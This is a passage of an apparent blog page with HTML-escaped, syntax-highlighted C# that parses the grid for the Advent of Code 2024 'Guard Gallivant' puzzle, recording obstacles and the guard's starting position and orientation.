&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;#&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;#&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;#&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;#&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;^&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;#&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;#&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;#&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;


&lt;div id='GuardGallivant.Parse.cs'&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cs" data-lang="cs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;using&lt;/span&gt; &lt;span style="color:#111"&gt;System.Collections.Immutable&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;namespace&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2024&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;partial&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#75af00"&gt;GuardGallivant&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;enum&lt;/span&gt; &lt;span style="color:#111"&gt;Orientation&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt; &lt;span style="color:#111"&gt;Up&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;Right&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;Down&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;Left&lt;/span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;readonly&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;record&lt;/span&gt; &lt;span style="color:#75af00"&gt;struct&lt;/span&gt; &lt;span style="color:#111"&gt;Coordinate&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;R&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;C&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;readonly&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;record&lt;/span&gt; &lt;span style="color:#75af00"&gt;struct&lt;/span&gt; &lt;span style="color:#111"&gt;Visit&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;Coordinate&lt;/span&gt; &lt;span style="color:#111"&gt;Coordinate&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;Orientation&lt;/span&gt; &lt;span style="color:#111"&gt;Orientation&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;readonly&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;RowCount&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;ColCount&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;HashSet&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;Coordinate&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;Obstacles&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;AreaMap&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;readonly&lt;/span&gt; &lt;span style="color:#111"&gt;Visit&lt;/span&gt; &lt;span style="color:#111"&gt;StartingPosition&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#111"&gt;GuardGallivant&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;string&lt;/span&gt; &lt;span style="color:#111"&gt;filePath&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;using&lt;/span&gt; &lt;span style="color:#111"&gt;StreamReader&lt;/span&gt; &lt;span style="color:#111"&gt;inputReader&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;filePath&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;HashSet&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;Coordinate&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;obstacles&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;[];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;Visit&lt;/span&gt;&lt;span style="color:#111"&gt;?&lt;/span&gt; &lt;span style="color:#111"&gt;maybeStartingPosition&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;null&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;string?&lt;/span&gt; &lt;span style="color:#111"&gt;line&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;r&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;colsCount&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;while&lt;/span&gt;&lt;span style="color:#111"&gt;((&lt;/span&gt;&lt;span style="color:#111"&gt;line&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;inputReader&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;ReadLine&lt;/span&gt;&lt;span style="color:#111"&gt;())&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;is&lt;/span&gt; &lt;span style="color:#111"&gt;not&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;null&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;var&lt;/span&gt; &lt;span style="color:#111"&gt;cols&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;line&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;ToCharArray&lt;/span&gt;&lt;span style="color:#111"&gt;().&lt;/span&gt;&lt;span style="color:#111"&gt;Index&lt;/span&gt;&lt;span style="color:#111"&gt;().&lt;/span&gt;&lt;span style="color:#111"&gt;ToList&lt;/span&gt;&lt;span style="color:#111"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;cols&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;ForEach&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;pair&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;Coordinate&lt;/span&gt; &lt;span style="color:#111"&gt;coordinate&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;r&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;pair&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Index&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;IsObstacle&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;pair&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Item&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;obstacles&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Add&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;coordinate&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;ToOrientation&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;pair&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Item&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;is&lt;/span&gt; &lt;span style="color:#111"&gt;not&lt;/span&gt; &lt;span style="color:#111"&gt;Orientation&lt;/span&gt; &lt;span style="color:#111"&gt;orientation&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;maybeStartingPosition&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;is&lt;/span&gt; &lt;span style="color:#111"&gt;not&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;null&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;throw&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt; &lt;span style="color:#111"&gt;ArgumentException&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;$&amp;#34;Multiple starting positions detected at {maybeStartingPosition} and {(r, pair.Index, orientation)}&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;maybeStartingPosition&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt; &lt;span style="color:#111"&gt;Visit&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;coordinate&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;orientation&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;colsCount&lt;/span&gt; &lt;span style="color:#111"&gt;!=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#111"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#111"&gt;cols&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Count&lt;/span&gt; &lt;span style="color:#111"&gt;!=&lt;/span&gt; &lt;span style="color:#111"&gt;colsCount&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;throw&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt; &lt;span style="color:#111"&gt;ArgumentException&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;$&amp;#34;Illegal grid. Found differing column counts: {colsCount} vs. {cols.Count}&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;colsCount&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;cols&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Count&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;r&lt;/span&gt;&lt;span style="color:#111"&gt;++;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;maybeStartingPosition&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;is&lt;/span&gt; &lt;span style="color:#111"&gt;not&lt;/span&gt; &lt;span style="color:#111"&gt;Visit&lt;/span&gt; &lt;span style="color:#111"&gt;startingPosition&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;throw&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt; &lt;span style="color:#111"&gt;ArgumentException&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;No starting position found&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;StartingPosition&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;startingPosition&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;AreaMap&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;r&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;colsCount&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;obstacles&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;private&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;static&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;bool&lt;/span&gt; &lt;span style="color:#111"&gt;IsObstacle&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;char&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt; &lt;span style="color:#111"&gt;==&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#39;#&amp;#39;&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;private&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;static&lt;/span&gt; &lt;span style="color:#111"&gt;Orientation&lt;/span&gt;&lt;span style="color:#111"&gt;?&lt;/span&gt; &lt;span style="color:#111"&gt;ToOrientation&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;char&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;switch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#39;^&amp;#39;&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;Orientation&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Up&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#39;&amp;lt;&amp;#39;&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;Orientation&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Left&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#39;&amp;gt;&amp;#39;&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;Orientation&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Right&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#39;v&amp;#39;&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;Orientation&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Down&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;_&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;null&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
